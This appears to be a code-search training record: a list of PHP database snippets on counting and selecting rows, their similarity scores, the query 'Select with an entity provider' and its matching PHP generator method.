"public function getSelectCountSql() {\r\n $countSelect = clone $this->getSelect();\r\n\t\t\r\n\t\t$countSelect->reset();\r\n\t\t\r\n $countSelect\r\n ->from(['m' => new \\Zend_Db_Expr('(\r\n\t\t\t\tSELECT frequency_length\r\n\t\t\t\tFROM subscriptions_profiles AS main_table\r\n\t\t\t\tWHERE (main_table.status != \"active\") AND (FLOOR(main_table.frequency_length / (60 * 60 * 24)) > 0)\r\n\t\t\t\tGROUP BY CONCAT(frequency_length, merchant_source)\r\n\t\t\t)')], [])\r\n ->columns(array(\r\n\t\t\t\tnew \\Zend_Db_Expr('COUNT(*)')\r\n ));\r\n\t\t\r\n\t\treturn $countSelect;\r\n }",
"public function setCountQuery()\n {\n $this->countQuery = true;\n return $this;\n }",
"abstract public function getCount();",
"public function fetchData()\r\n {\r\n $this->objectcount = $this->search_obj->getObjectQueryCount($this->extra);\r\n }",
"public function getCount() {\n return $this->db->fetchColumn(\"SELECT COUNT(id) FROM $this->table\");\n }",
"public function getSelectCountSql()\n {\n $countSelect = parent::getSelectCountSql();\n $countSelect->reset(Zend_Db_Select::GROUP);\n return $countSelect;\n }",
"public function getSelectCountSql()\n {\n $countSelect = parent::getSelectCountSql();\n $countSelect->reset(Zend_Db_Select::GROUP);\n return $countSelect;\n }",
"public function getSelectCountSql()\n {\n $countSelect = parent::getSelectCountSql();\n $countSelect->reset(Zend_Db_Select::GROUP);\n return $countSelect;\n }",
"public function getSelectCountSql()\n {\n $countSelect = parent::getSelectCountSql();\n $countSelect->reset(Zend_Db_Select::GROUP);\n return $countSelect;\n }",
"public function count(){\n return $this->db->query('SELECT COUNT(*) FROM marque_page')->fetchColumn();\n }",
"function count()\n {\n $this->object->select($this->object->get_primary_key_column());\n $retval = $this->object->run_query(FALSE, FALSE, FALSE);\n return count($retval);\n }",
"private function sql_resWiHits()\n {\n // Count hits\n $bool_count = true;\n\n // Get query parts\n $select = $this->sql_select( $bool_count );\n $from = $this->sql_from();\n $where = $this->sql_whereWiHits();\n $groupBy = $this->sql_groupBy();\n $orderBy = $this->sql_orderBy();\n $limit = $this->sql_limit();\n\n// $query = $GLOBALS['TYPO3_DB']->SELECTquery\n// (\n// $select,\n// $from,\n// $where,\n// $groupBy,\n// $orderBy,\n// $limit\n// );\n//var_dump( __METHOD__, __LINE__, $query );\n // Execute query\n $arr_return = $this->pObj->objSqlFun->exec_SELECTquery\n (\n $select, $from, $where, $groupBy, $orderBy, $limit\n );\n // Execute query\n\n return $arr_return;\n }",
"function getCount() {\n\t\t$where = (sizeof($this->wheres) > 0) ? ' WHERE '.implode(\" \\n AND \\n\\t\", $this->wheres) : '';\n\t\t$group = (sizeof($this->groups) > 0) ? ' GROUP BY '.implode(\", \", $this->groups) : '' ;\n\t\t$query = \"SELECT count(*) FROM \\n\\t\".$this->class->table.\"\\n \".implode(\"\\n \", $this->joins).$where.' '.$group.' ';\n\n\t\t$count =self::$global['dbCon']->fetchRow($query,MYSQLI_NUM);\n\t\treturn $count[0];\n\n\t}",
"public function count() {\r\n\t\t//$src = Dbi_Source::GetModelSource($this);\r\n\t\t//return count($src->select($this->query()));\r\n\t\treturn count($this->source->select($this));\r\n\t}",
"public function fetchField(){\n $this->debugBacktrace();\n $this->fetchType = \"fetch_field\";\n return $this;\n }",
"public function getSummaryCount($sqlPart) {\n $query = 'SELECT count(DISTINCT(inv_agent_id)) AS count\n FROM (SELECT t.* FROM agnt_booking_invoice t INNER JOIN (SELECT inv_total_cost,MAX(inv_invoice_id) AS latest,inv_booking_id FROM agnt_booking_invoice GROUP BY inv_booking_id) t1 ON t1.inv_booking_id=t.inv_booking_id AND t1.latest=t.inv_invoice_id\n ) AS derived_booking_invoice \n LEFT JOIN agenti ON agenti.id=derived_booking_invoice.inv_agent_id \n WHERE 1=1 AND agenti.status = \"active\" '\n . $sqlPart;\n $query = $this->db->query($query);\n return $query->row();\n }",
"function SELECT_COUNT_alunosPrivada (){\n $sql = 'SELECT COUNT(i.`tipo_instituicao`) AS `Escolas Privadas` FROM `visita` as v INNER JOIN `agendamento_institucional` as ai on v.`agendamento_institucional_ID` = ai.`ID` INNER JOIN `professor_instituicao` as pii on ai.`professor_instituicao_ID` = pii.`ID` INNER JOIN `instituicao` AS i ON pii.`instituicao_ID` = i.`ID` WHERE i.`tipo_instituicao`= \"Privada\"';\n $stmt = $this->dataBase->query($sql);\n $row = $stmt->fetch_assoc();\n return $row; \n }",
"function nf() \n \t{\n \t\treturn @mysql_num_fields($this->queryId);\n \t}",
"function get_count_data($columnName, $tblname, $whereColumn, $passingParam) {\n global $dbf;\n $sql = \"SELECT COUNT($columnName) as count FROM $tblname WHERE $whereColumn='$passingParam'\";\n $countVal = $dbf;\n $countVal->query($sql);\n $countVal->next_record();\n \n $rowValue = $countVal->rowdata();\n\t$countValue = $rowValue['count'];\n \n return $countValue;\n}",
"function create_list_count_query($where) {\r\n\t\t$q = parent::create_list_count_query($where);\r\n\t\t$q = preg_replace ('/select\\s+count\\(\\*\\)\\s+c/i', \"SELECT COUNT(DISTINCT `$this->table_name`.id) c\", $q);\r\n $q = preg_replace(\"/GROUP\\s+BY\\s+`$this->table_name`.id\\s*$/i\", '', $q);\r\n\t\treturn $q;\r\n\t}",
"static public function singleSelect($sql){\n\t\t$db = DbBase::rawConnect();\n\t\tif(substr(ltrim($sql), 0, 7)!='SELECT') {\n\t\t\t$sql = 'SELECT '.$sql;\n\t\t}\n\t\t$db->setFetchMode(DbBase::DB_NUM);\n\t\t$num = $db->fetchOne($sql);\n\t\t$db->setFetchMode(DbBase::DB_ASSOC);\n\t\treturn $num[0];\n\t}",
"public static function getQueryCount() \n {\n return self::$queryCount;\t\n }",
"function query() {\n // Do nothing: fake field.\n }",
"public function count()\r\n\t{\r\n\t\t$countModel = clone $this->model;\r\n\t\t$countQuery = $countModel->getQuery();\r\n\t\t$countQuery->orders = null;\r\n\t\t$countModel->setQuery($countQuery);\r\n\r\n\t\treturn $countModel->count();\r\n\t}",
"final public static function count( ) {\n\t\treturn self::$intQueryCount;\n\t}",
"public function count(): ODataQueryBuilder {\n $this->count = true;\n\n return $this;\n }",
"function getCount() {\n\t\t$i = $this->_query->join('synd_issue','i');\n\t\t$query = clone $this->_query;\n\t\t$query->column(\"COUNT(DISTINCT $i.node_id)\");\n\n\t\t$persistent = $this->_storage->getPersistentStorage();\n\t\t$database = $persistent->getDatabase();\n\t\treturn $database->getOne($query->toString());\n\t}",
"function get_field( $field, $query = null ){\r\n\t\tif( $row = $this->get_row( $query ) and isset( $row[$field] ) )\r\n\t\t\treturn $row[$field];\r\n\r\n\t}",
"public abstract function GetCurrentField();",
"function FetchOneRowDataByOneField($tableName,$fieldName,$fieldValue)\n{\n $query = $this->db->query(\"Select * from $tableName where $fieldName='\".$fieldValue.\"'\");\n $totalRowsUnique = $query->num_rows();\n if($totalRowsUnique > 0)\n {\n return $query->row();\n }\n \n}",
"function getVisibleItemsCount($db, $resource_pk) {\r\n\r\n $prefix = DB_TABLENAME_PREFIX;\r\n $sql = <<< EOD\r\nSELECT COUNT(i.item_pk) count\r\nFROM {$prefix}item i\r\nWHERE (i.resource_link_pk = :resource_pk) AND (i.visible = 1)\r\nEOD;\r\n\r\n $query = $db->prepare($sql);\r\n $query->bindValue('resource_pk', $resource_pk, PDO::PARAM_STR);\r\n $query->execute();\r\n\r\n $row = $query->fetch(PDO::FETCH_NUM);\r\n if ($row === FALSE) {\r\n $num = 0;\r\n } else {\r\n $num = intval($row[0]);\r\n }\r\n\r\n return $num;\r\n\r\n }",
"public static function getCount(){\n \t$sql = \"SELECT COUNT(*) as count FROM yy_hospital\";\n \t$res = self::getDb()->query($sql)->fetchAll();\n \t$count = $res[0]['count'];\n \treturn $count;\n }",
"public function one($condition = null)\n\t{\n parent::setFetchMode($this->fetchMode);\n $this->addCondition($condition, true);\n\t\t$this->fields = $this->queryRow();\n \n if(!empty($this->fields) && (!empty($this->related) || !empty($this->afterFind)))\n {\n $this->applyMethods('related');\n $this->applyMethods('afterFind');\n }\n \n return $this->fields;\n\t}",
"public static function get_count_element() {\n\t\tglobal $wpdb;\n\n\t\t$query = 'Select count(*) from ' . self::TABLE_NAME . ';';\n\n\t\t$count = $wpdb->get_var( $query );\n\n\t\treturn $count;\n\t}",
"private function sql_select( $bool_count )\n {\n // Get table and field\n list( $table, $field ) = explode( '.', $this->curr_tableField );\n\n // EXIT wrong TS configuration\n $conf_view = $this->conf_view;\n if ( !empty( $conf_view[ 'filter.' ][ $table . '.' ][ $field . '.' ][ 'sql.' ][ 'select' ] ) )\n {\n $prompt = '\n <h1 style=\"color:red;\">\n ERROR: filter\n </h1>\n <p style=\"color:red;font-weight:bold;\">\n Sorry: filter.' . $this->curr_tableField . '.sql.select isn\\'t supported from TYPO3-Browser version 4.x<br />\n <br />\n Please remove the TypoScript code filter.' . $this->curr_tableField . '.sql.select.<br />\n <br />\n Method: ' . __METHOD__ . '<br />\n Line: ' . __LINE__ . '\n </p>';\n echo $prompt;\n exit;\n }\n // EXIT wrong TS configuration\n // select\n switch ( $bool_count )\n {\n case( true ):\n $localTableUid = $this->pObj->arrLocalTable[ 'uid' ];\n $count = \"COUNT( DISTINCT \" . $localTableUid . \" )\";\n break;\n case( false ):\n default:\n $count = \"0\";\n break;\n }\n $select = $count . \" AS 'hits', \" .\n $table . \".uid AS '\" . $table . \".uid', \" .\n $this->curr_tableField . \" AS '\" . $this->curr_tableField . \"'\";\n // select\n // Set class var sql_filterFields\n $this->sql_filterFields[ $this->curr_tableField ][ 'hits' ] = 'hits';\n $this->sql_filterFields[ $this->curr_tableField ][ 'uid' ] = $table . '.uid';\n $this->sql_filterFields[ $this->curr_tableField ][ 'value' ] = $this->curr_tableField;\n // Set class var sql_filterFields\n // Add treeview field to select\n $select = $select . $this->sql_select_addTreeview();\n\n // Add localisation fields to select\n $select = $select . $this->sql_select_addLL();\n\n $select = $select\n . $this->sql_select_radialsearch();\n\n // RETURN select\n return $select;\n }",
"public function getSelectCountSql()\n {\n $countSelect = parent::getSelectCountSql();\n\n $countSelect->reset(\\Zend_Db_Select::GROUP);\n\n return $countSelect;\n }"
]
| [
"0.594402",
"0.55713993",
"0.5560596",
"0.54364276",
"0.5381286",
"0.53751445",
"0.5371195",
"0.53581095",
"0.53534895",
"0.5332886",
"0.53159434",
"0.530033",
"0.5299598",
"0.5299598",
"0.52918726",
"0.5267715",
"0.52617365",
"0.5236697",
"0.52356046",
"0.5225285",
"0.5217388",
"0.5213414",
"0.5204467",
"0.51971674",
"0.5193987",
"0.51611066",
"0.5151065",
"0.5140352",
"0.511795",
"0.51130325",
"0.5103892",
"0.5103892",
"0.5092198",
"0.5091776",
"0.50844204",
"0.50806946",
"0.50804245",
"0.5068764",
"0.50601935",
"0.5044756",
"0.5036784",
"0.50299364",
"0.50229216",
"0.5019624",
"0.50075763",
"0.5003345",
"0.49992377",
"0.4993278",
"0.4982426",
"0.49806243",
"0.49617437",
"0.49555695",
"0.4955482",
"0.49546975",
"0.49546975",
"0.49538234",
"0.495107",
"0.49480802",
"0.49475867",
"0.49342442",
"0.49312258",
"0.49223772",
"0.4921919",
"0.492105",
"0.49169543",
"0.49165872",
"0.49122682",
"0.49122292",
"0.49117932",
"0.49038914",
"0.49038914",
"0.49038914",
"0.49038914",
"0.49023452",
"0.49016067",
"0.48993614",
"0.48900735",
"0.48839837",
"0.48825377",
"0.48773515",
"0.48719093",
"0.48679334",
"0.48638386",
"0.48635992",
"0.4861335",
"0.4860467",
"0.4847278",
"0.4843835",
"0.48414662",
"0.4840668",
"0.48387346",
"0.48361304",
"0.48359174",
"0.4835853",
"0.48341113",
"0.48302203",
"0.4828234",
"0.48259723",
"0.48220357",
"0.4815376"
]
| 0.5148834 | 27 |
Select with an entity provider | public function selectWithEntityProvider(
Query\Select $query,
EntityProvider $entityProvider,
): \Generator {
$entities = $this->db->selectWithEntityProvider($entityProvider, $query);
foreach ($entities as $id => $entity) {
yield $id => $entity;
}
} | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"function runSelect($repo)\n{\n // Var Dumping each entity type to test select\n var_dump($repo->select(new ChocolateBar()));\n var_dump($repo->select(new Cookie()));\n var_dump($repo->select(new Noodle()));\n}",
"public function getSourceEntity();",
"public function getEntities();",
"public function getEntities();",
"public function selectEntitiesCallback(array &$form, FormStateInterface $form_state) {\n return $form[$this->fieldDefinition->getName()];\n }",
"public function get_entities();",
"public function select($proveedor);",
"public function selectWithEntityProviderCollection(\n Query\\Select $query,\n EntityProvider $entityProvider,\n ): Collection {\n $entities = $this->selectWithEntityProvider($query, $entityProvider);\n\n $collection = $this->db->createCollection();\n $collection->fromIterable($entities);\n\n return $collection;\n }",
"public function getSelect();",
"public function getSelect();",
"public function getBy(array $where): ?IEntity;",
"public function select($producto);",
"public function getEntity ($entity, array $columns = array());",
"public function findAllEntities();",
"public function getEntity();",
"public function getEntity();",
"public function getEntity();",
"public function selectorProvider()\n {\n return [\n [Book::selectOne($this->getConn())],\n [Book::select($this->getConn())->one()]\n ];\n }",
"public function selectById($id);",
"public function selectById($id);",
"public function select()\n\t{\n\t\treturn call_user_func_array([$this->queryFactory->__invoke('select'), 'select'], func_get_args());\n\t}",
"public function testSelectRelatedObject() {\n $session = $this->getSampleProjectSession(true);\n $manager = $session->query(\n 'SELECT project.manager FROM sample_Project project WHERE project.projectId = :projectId'\n )->execute(array('projectId' => '35569',))->one();\n $this->assertEquals(99990, $manager->userId);\n }",
"public function find($entity_id);",
"abstract protected function getEntity();",
"public function retrieve($entityName, $id);",
"protected function getEntity() {\n return $this->getContextValue('entity');\n }",
"public function get_selected_entities(ComplexContentObjectPathNode $node);",
"public function offsetGetProvider()\n {\n $entity1 = $this->createMock(IdentifyTestEntity::class);\n $entity2 = $this->createMock(IdentifyTestEntity::class);\n $entity3 = $this->createMock(IdentifyTestEntity::class);\n\n $entities = [1 => $entity1, 3 => $entity2, 7 => $entity3];\n\n return [\n [$entities, 1, $entity1],\n [$entities, 3, $entity2],\n [$entities, 7, $entity3]\n ];\n }",
"public function select() {\r\n\t\t//$src = Dbi_Source::GetModelSource($this);\r\n\t\t//return $src->select($this);\r\n\t\treturn $this->source->select($this);\r\n\t}",
"public function getMetadataQueryProviderWrapper();",
"public function getAllEntities();",
"public function entity() {\n\t\t$assoc = ($this->association) ? $this->association : $this->model;\n\t\tif (!empty($this->entityPath)) {\n\t\t\t$path = explode('.', $this->entityPath);\n\t\t\t$count = count($path);\n\t\t\tif ($count !== 3) {\n\t\t\t\treturn parent::entity();\n\t\t\t}\n\t\t\treturn Set::filter($path);\n\t\t}\n\t\treturn parent::entity();\n\t}",
"protected function getSelect() {\n $oSql = new SqlSelect();\n $oSql->setEntity($this->Persistence->getTableName());\n $oSql->addColumn(implode(',', $this->getColumns()));\n $oSql->setCriteria($this->Criteria); \n return $oSql->getInstruction();\n }",
"public function getProvider();",
"public function getProvider();",
"public function getProvider();",
"public function entityFor(): string;",
"public function find_external_by_provider($provider) {\n\t\treturn ORM::factory('user_external')->where(array('user_id' => $this->id, 'provider' => $provider))->find();\n\t}",
"public function getEntity($name);",
"public function getProvider($provider_id);",
"public function getQuery ($entity);",
"public function findBy($key,$value){ \n $arraytoret = array();\n $query='select *\n from Usuario\n where '.$key.'='.$value;\n $results = $this->driver->exec($query);\n return $this->factory($results);\n}",
"abstract function getEntity();",
"public function queryEntity($options = array())\n {\n $columns = &$this->columns;\n\n $em = $this->_em;\n $qb = $em->getRepository('BookingBundle:Casa')\n ->createQueryBuilder('a')\n ->distinct(true)\n ->select('a');\n\n if (array_key_exists('sSearch',$options)) {\n if ($options['sSearch'] != '') {\n $qb->andWhere(new Orx(\n\n /**\n * @return array\n */\n call_user_func( function() use ($columns,$qb,$options){\n\n $aLike = array();\n\n foreach ($columns as $col) {\n\n $aLike[] = $qb->expr()->like('a.'.$col, '\\'%' . $options['sSearch'] . '%\\'');\n }\n\n return $aLike;\n })\n \n ));\n }\n }\n\n if ( isset( $options['iDisplayStart'] ) && $options['iDisplayLength'] != '-1' ){\n $qb->setFirstResult( (int)$options['iDisplayStart'] )\n ->setMaxResults( (int)$options['iDisplayLength'] );\n }\n\n\n if (array_key_exists('iDisplayLength',$options)) {\n if ($options['iDisplayLength']!='') {\n $qb->setMaxResults($options['iDisplayLength']);\n }\n }\n\n $result = $qb->getQuery()->getResult();\n $dataExport = array();\n\n foreach ($result as $r) {\n /**\n * @var Casa $r\n * */\n\n $dataHouse = $r->toArray();\n $dataHouse[4]=$this->isAvailable($r);\n array_push($dataExport, $dataHouse);\n }\n\n\n\n\n\n return $dataExport;\n\n }",
"function adv_select($table, array $where = null, array $fields = null, $order = '', $limit = null, $offset = null);",
"public function select($withFromPart=null){\r\n\t\treturn $this->getMapper()->select($withFromPart);\r\n\t}",
"public function select();",
"public function select();",
"public function select();",
"function select() {\n\t\t// PHP doesn't allow direct use as function argument\n\t\t$args=func_get_args();\n\t\treturn call_user_func_array(array($this,'lookup'),$args);\n\t}",
"public function getEntities(array $params = array());",
"public function getBrandNameId(){\n $query = $this->getEntityManager()\n ->createQuery(\"SELECT b.id as id ,b.name as name FROM LoveThatFitAdminBundle:Brand b\");\n try {\n return $query->getResult();\n } catch (\\Doctrine\\ORM\\NoResultException $e) {\n return null;\n } \n \n }",
"abstract protected function getEntityClass();",
"public function selectArticle()\n\t{\n\t}",
"public function getQueryBuilder();",
"public function getQueryBuilder();",
"public function select() {\n\t\t// PHP doesn't allow direct use as function argument\n\t\t$_args=func_get_args();\n\t\treturn call_user_func_array(array($this,'lookup'),$_args);\n\t}",
"protected function _getEntityAdapter()\n {\n if (!$this->_entityAdapter) {\n $validTypes = array('storelocator' => array('model' => 'storelocator/import_entity_data', 'Label' => 'Storelocator'));\n\n\n if (isset($validTypes[$this->getEntity()])) {\n try {\n $this->_entityAdapter = Mage::getModel($validTypes[$this->getEntity()]['model']);\n } catch (Exception $e) {\n Mage::logException($e);\n Mage::throwException(\n Mage::helper('storelocator')->__('Invalid entity model')\n );\n }\n\n if (!($this->_entityAdapter instanceof Mage_ImportExport_Model_Import_Entity_Abstract)) {\n Mage::throwException(\n Mage::helper('storelocator')->__('Entity adapter object must be an instance of Mage_ImportExport_Model_Import_Entity_Abstract')\n );\n }\n } else {\n Mage::throwException(Mage::helper('storelocator')->__('Invalid entity'));\n }\n\n // check for entity codes integrity\n if ($this->getEntity() != $this->_entityAdapter->getEntityTypeCode()) {\n Mage::throwException(\n Mage::helper('storelocator')->__('Input entity code is not equal to entity adapter code')\n );\n }\n\n $this->_entityAdapter->setParameters($this->getData());\n }\n\n return $this->_entityAdapter;\n }",
"public function findEntity($id);",
"function dmSelect($table, $name, $value=\"\", $all=FALSE, $attrs=NULL, $required=TRUE) {\n $dmQ = new DmQuery();\n $dmQ->connect();\n # Don't use getAssoc() so that we can set the default below\n $dms = $dmQ->get($table);\n $dmQ->close();\n $default = \"\";\n $options = array();\n if ($all) {\n $options['all'] = 'All';\n }\n if (!$required) {\n // Add \"Any\" for the first option.\n $loc = new Localize(OBIB_LOCALE, \"shared\");\n $options[''] = $loc->getText(\"any\");\n }\n foreach ($dms as $dm) {\n $options[$dm->getCode()] = $dm->getDescription();\n if ($dm->getDefaultFlg() == 'Y') {\n $default = $dm->getCode();\n }\n }\n if ($value == \"\") {\n $value = $default;\n }\n if (!$required) {\n // Selected on \"Any\" option.\n $value = \"\";\n }\n return inputField('select', $name, $value, $attrs, $options);\n}",
"public function getId_entity($id_entity=null)\n {\n if ($id_entity != null && is_array($this->entity) && count($this->entity)!=0) {\n $table_name = strtolower(get_class($this));\n $query = \"SELECT * FROM $table_name WHERE id_entity = ?\";\n $req = Manager::bdd()->prepare($query);\n $req->execute([$id_entity]);\n $data = \"\";\n if ($data = $req->fetchAll(PDO::FETCH_ASSOC)) {\n$d=$data[0];\n$this->setId_entity($d['id_entity']);\n$this->setLabel($d['label']);\n$this->setDomaine($d['domaine']);\n$this->setEmail($d['email']);\n$this->setPhone_number($d['phone_number']);\n$this->setBp($d['bp']);\n$this->setLocalisation($d['localisation']);\n$this->setVille($d['ville']);\n$this->setUniqueId($d['uniqueId']);\n$this->setCreated_at($d['created_at']);\n$this->setCreated_by($d['created_by']);\n$this->setUpdate_at($d['update_at']);\n$this->setUpdate_by($d['update_by']);\n$this->entity =$data; \n return $this;\n }\n \n } else {\n return $this->id_entity;\n }\n \n }",
"public function fetchDataTableSource()\n { \n $dataTableConfig = [\n 'searchable' => [\n 'title' \n ]\n ];\n\n return SpecificationPreset::with([\n 'presetItem' => function($query) {\n $query->with('specification');\n }\n ])->dataTables($dataTableConfig)->toArray();\n }",
"public function getEntity()\n {\n return $this->parameters['hipay.entity'];\n }",
"protected function retrieveEntities()\n {\n return NULL;\n }",
"public function testFetchEntities() {\n\t\t// find('all') with entitiy => true.\n\t\t$result = $this->Post->entities();\n\t\t$this->assertTrue(is_array($result));\n\t\t$this->assertEqual(count($result), 3);\n\t\t$this->assertTrue(is_a($result[0], 'PostEntity'));\n\t\t$this->assertEqual($result[2]->title, 'again');\n\n\t\t// 2. allEntities is alias for entities.\n\n\t\t$result = $this->Post->allEntities();\n\t\t$this->assertTrue(is_array($result));\n\t\t$this->assertEqual(count($result), 3);\n\t\t$this->assertTrue(is_a($result[0], 'PostEntity'));\n\t\t$this->assertEqual($result[2]->title, 'again');\n\t}",
"public function getSpecific()\n {\n $qb = $this->em->createQueryBuilder();\n $results = $qb->select('p')\n ->from('Plugin\\DoctrineExample\\Entity\\Product', 'p')\n ->orderBy('p.title', 'ASC')->getQuery()->execute();\n return $results;\n }",
"public function getItemsInternal($entityBrowser, &$connectionToken = NULL, array $select, $filter, $expands = [], $otherOptions = []) {\r\n // $entityBrowser = ($entityBrowser instanceof EntityDefinitionBrowser) ? $entityBrowser : $this->entitiesByInternalName[$entityBrowser];\r\n $source = $entityBrowser->getDataSourceName();\r\n\r\n if($connectionToken = (!is_null($connectionToken) ? $connectionToken : $this->getConnectionToken($source))){\r\n // Set defaults\r\n $top = $otherOptions['$top'];\r\n $skip = $otherOptions['$skip'];\r\n $pageNumber = $otherOptions['$pageNumber'];\r\n $pageSize = $otherOptions['$pageSize'];\r\n $orderBy = $otherOptions['$orderBy'];\r\n $all = isset($otherOptions['$all']) && ''.$otherOptions['$all'] = '1'?TRUE:FALSE;\r\n $logQuery = isset($otherOptions['$logQuery']) && ''.$otherOptions['$logQuery'] = '1'?TRUE:FALSE;\r\n\r\n // Remove distinct fields from select\r\n $distinct = $otherOptions['$distinct'];\r\n $sel = [];\r\n foreach($select as $dis){\r\n if(!in_array($dis, $distinct)){\r\n $sel[] = $dis;\r\n }\r\n }\r\n $select2 = implode(',', $select);\r\n\r\n $occurence = '';\r\n if (count($distinct) < 1) {\r\n $distinct = 'ID';\r\n } else {\r\n $distinct = implode(',', $otherOptions['$distinct']);\r\n $distinct = \"{$distinct}\";\r\n $occurence = ' WHERE OCCURENCE = 1 ';\r\n }\r\n\r\n // Determin the record to start from based on the $pageSize and $pageNumber;\r\n $start = ($pageSize * ($pageNumber - 1)) + 1 + $skip;\r\n $end = $start + $pageSize;\r\n\r\n // Generate the SQL query to send in the POST request \r\n $where = (strlen($filter) > 0 ? \" WHERE {$filter} \" : ''); \r\n $sel = implode(',', $sel);\r\n \r\n $query_url = \"\r\n WITH DEDUPE AS (\r\n SELECT {$select2}, ROW_NUMBER() OVER (PARTITION BY {$distinct} ORDER BY {$distinct}) AS OCCURENCE\r\n FROM {$entityBrowser->getInternalName()}\r\n {$where}\r\n )\r\n\r\n SELECT {$select2}\r\n FROM ( SELECT ROW_NUMBER() OVER ( ORDER BY {$orderBy} ) AS RowNum, {$select2}\r\n FROM DEDUPE {$occurence}\r\n ) AS RowConstrainedResult\r\n WHERE RowNum >= {$start}\r\n AND RowNum < {$end}\r\n ORDER BY RowNum\r\n \";\r\n\r\n if($all){\r\n $query_url = \"SELECT {$select2} FROM {$entityBrowser->getInternalName()} {$where} ORDER BY {$orderBy}\";\r\n }\r\n\r\n $query_url = str_replace(\"\\\\'\", \"''\", $query_url);\r\n\r\n // if($logQuery){\r\n // watchdog(\"OUT OF SCHEDULE RUN:<>\", \"Query: {$query_url}\");\r\n // }\r\n\r\n try {\r\n $pdo = new \\PDO($connectionToken->DSN, $connectionToken->Username, $connectionToken->Password);\r\n $pdo->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);\r\n $stmt = $pdo->query($query_url);\r\n $rs = $stmt->fetchAll(PDO::FETCH_ASSOC);\r\n \r\n return array_values($rs);\r\n } catch (\\Exception $e) {\r\n throw new \\Exception('Connection failed: ' . $e->getMessage());\r\n }\r\n } else {\r\n throw new \\Exception('The connection datasource settings could not be retrieved, contact the administrator.');\r\n } \r\n }",
"public function select()\n {\n return $this->_db->factory('select', $this);\n }",
"protected function getEntities() {\n $query = $this->getStorage()->getQuery();\n $keys = $this->entityType->getKeys();\n\n $query->condition($keys['bundle'], $this->bundle)\n ->sort($keys['id']);\n\n $bundle = $this->entityManager->getStorage($this->entityType->getBundleEntityType())\n ->load($this->bundle);\n\n $pager_settings = $bundle->getPagerSettings();\n if (!empty($pager_settings['page_parameter']) && !empty($pager_settings['page_size_parameter'])) {\n $query->pager($pager_settings['default_limit']);\n }\n\n return $this->getStorage()->getResultEntities($query->execute());\n }",
"public function myFindAll(): array\n {\n $qb = $this->_em->createQueryBuilder()\n ->select('s')\n ->from($this->_entityName, 's')\n ->innerJoin('s.provider', 'p')\n ->addSelect('p')\n ->innerJoin('p.logos','l')\n ->addSelect('l')\n ->orderBy('s.releaseDate','DESC');\n\n return $qb->getQuery()\n ->getResult();\n }",
"function getEntity() {\n if (!empty($this->entity_id) && !empty($this->entity_type) && entity_get_info($this->entity_type)) {\n // Create an array because array_shift passes in by reference.\n $entities = entity_load($this->entity_type, array($this->entity_id));\n return array_shift($entities);\n }\n }",
"public function selectOne(Query\\Select $query): ?Entity\n {\n return $this->db->selectOne($this->klass, $query);\n }",
"function getEntity($server, $args) { \n // get args\n list($e_name) = $args;\n\n $personnel =& PersonnelDB::getInstance();\n $store_name = getEntityStore(strtolower($e_name));\n\n if (!empty($server->params)) {\n // If there are params, use them for filtering\n $entities = $personnel->$store_name->getByFilter($server->params);\n } else {\n // Otherwise, get all entities\n $entities = $personnel->$store_name->getAll();\n }\n\n // return serialized output\n return serializeEntities($entities, $server->contentType);\n}",
"public function getEntity() {\n return $this->entity;\n }",
"public static function findByProvider($provider, $identifier);",
"public function createSelect()\n {\n return $this->getConnection()->select();\n }",
"abstract public function prepareSelect();",
"public function readFromModel($entity);",
"public function getEntity($value, array $params = array());",
"public function getEntity( )\n {\n\n return $this->entity;\n\n }",
"public abstract function getSelect(\n $fields, $from, $where = '', $groupby = '', $limit = 0, $offset = 0\n );",
"function select($fields = '*', $fetch_type = \\PDO::FETCH_ASSOC)\n {\n $this->db->table($this->getTableFullName());\n return call_user_func_array([$this->db, __FUNCTION__], func_get_args());\n }",
"public function select($field);",
"function get_device_entities($device_id, $entity_types = NULL)\n{\n if (is_array($device_id))\n {\n // Passed device array, instead id\n $device_id = $device_id['device_id'];\n }\n if (!$device_id) { return NULL; }\n\n if (!is_array($entity_types) && strlen($entity_types))\n {\n // Single entity type passed, convert to array\n $entity_types = array($entity_types);\n }\n $all = empty($entity_types);\n $entities = array();\n foreach (array_keys($GLOBALS['config']['entities']) as $entity_type)\n {\n if ($all || in_array($entity_type, $entity_types))\n {\n $translate = entity_type_translate_array($entity_type);\n if (!$translate['device_id_field']) { continue; }\n $query = 'SELECT `' . $translate['id_field'] . '` FROM `' . $translate['table'] . '` WHERE `' . $translate['device_id_field'] . '` = ?;';\n $entity_ids = dbFetchColumn($query, array($device_id));\n if (is_array($entity_ids) && count($entity_ids))\n {\n $entities[$entity_type] = $entity_ids;\n }\n }\n }\n return $entities;\n}",
"public function execute() {\n $this->query->filter($this->filter);\n $data = $this->query->execute();\n $results = $data['results'];\n\n if (!$results) {\n return;\n }\n\n return entity_load($this->EntityType, array_keys($results));\n }",
"public function getDataProvider(array $query = []);",
"public function getEntity() {\n\t\treturn get_entity($this->entity_guid);\n\t}",
"abstract protected function getEntityType(): string;",
"public function getBrandBaseRetailer($id){\n $query = $this->getEntityManager()\n ->createQuery(\"SELECT b.id as id ,b.name as name FROM LoveThatFitAdminBundle:Brand b\n JOIN b.retailer_brand rb \n WHERE rb.retailer_id =:retailer\")\n ->setParameters(array('retailer' => $id));\n try {\n return $query->getResult();\n } catch (\\Doctrine\\ORM\\NoResultException $e) {\n return null;\n } \n \n }",
"public function select($usuario_has_hojaruta);",
"public function select() \n { \n $this->load->database(); \n $query = $this->db->query(\"SELECT * FROM empresa p inner join persona c on p.Persona_idPersona = c.idPersona \");\n $this->db->close();\n return $query->result();\n }",
"function findCPTinGroup($em,$document,$code,$codeType)\n{\n $patient=$document->getPatient();\n $pid=$patient->getPID();\n $enc=$document->getOEMREncounter(); \n $codeList=codesInGroup($code,$codeType);\n \n $qb = $em->createQueryBuilder()\n ->select(\"cpt\")\n ->from(\"library\\doctrine\\Entities\\OEMRBillingEntry\",\"cpt\")\n ->where(\"cpt.encounter=:enc\")\n ->andWhere(\"cpt.code_type=:ct\")\n ->andWhere(\"cpt.pid=:pat\")\n ->andWhere(\"cpt.code in \".$codeList);\n\n $qb->setParameter(\"enc\",$enc->getEncounter());\n $qb->setParameter(\"ct\",$codeType);\n $qb->setParameter(\"pat\",$pid);\n \n $qry=$qb->getQuery();\n $res=$qry->getResult(); \n return $res;\n \n}",
"public static function getUserSelectorContext()\n\t{\n\t\treturn 'CRM_ENTITY_EDITOR';\n\t}",
